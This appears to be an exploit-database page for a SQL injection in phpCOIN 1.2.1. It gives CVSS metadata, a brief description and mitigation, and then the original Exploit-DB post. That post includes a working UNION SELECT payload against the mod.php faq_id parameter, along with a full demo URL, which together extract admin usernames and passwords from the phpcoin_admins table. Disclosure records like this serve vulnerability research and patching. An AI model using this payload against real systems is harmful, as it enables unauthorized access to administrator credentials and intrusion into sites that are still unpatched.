phpCOIN 1.2.1 (mod.php) SQL Injection Vulnerability

vendor:

phpCOIN

by:

Baybora

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: phpCOIN

Affected Version From: 1.2.1

Affected Version To: 1.2.1

Patch Exists: YES

Related CWE: N/A

CPE: a:phpcoin:phpcoin:1.2.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

phpCOIN 1.2.1 (mod.php) SQL Injection Vulnerability

A SQL injection vulnerability exists in phpCOIN 1.2.1, which allows an attacker to execute arbitrary SQL commands via the mod.php?mod=faq&mode=show&faq_id= parameter. An attacker can exploit this vulnerability to gain access to sensitive information such as usernames and passwords stored in the database.

Mitigation:

Developers should ensure that user-supplied input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

phpCOIN 1.2.1 (mod.php) SQL Injection  Vulnerability 
  
###########################
  
Author    : Baybora

Homepage  : http://www.1923turk.com 

Blog      : http://baybora.wordpress.com/ 

Script    : phpCOIN 1.2.1

Download  : http://www.phpcoin.com/
  
###########################  
    
[ Vulnerable File ]

mod.php?mod=faq&mode=show&faq_id= [ SQL ]
     

[ XpL ]
  
-1+UNION+SELECT+1,2,3,4,5,6,7,concat(admin_user_name,0x3a,admin_user_pword),9,10,11,12,13,14,15,16+from+phpcoin_admins--


[ Demo]
    
    
http://serverbilling/mod.php?mod=faq&mode=show&faq_id=-1+UNION+SELECT+1,2,3,4,5,6,7,concat(admin_user_name,0x3a,admin_user_pword),9,10,11,12,13,14,15,16+from+phpcoin_admins--
    
   
##############################################################  
# Greetz: Manas58 - Gamoscu - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO  
##############################################################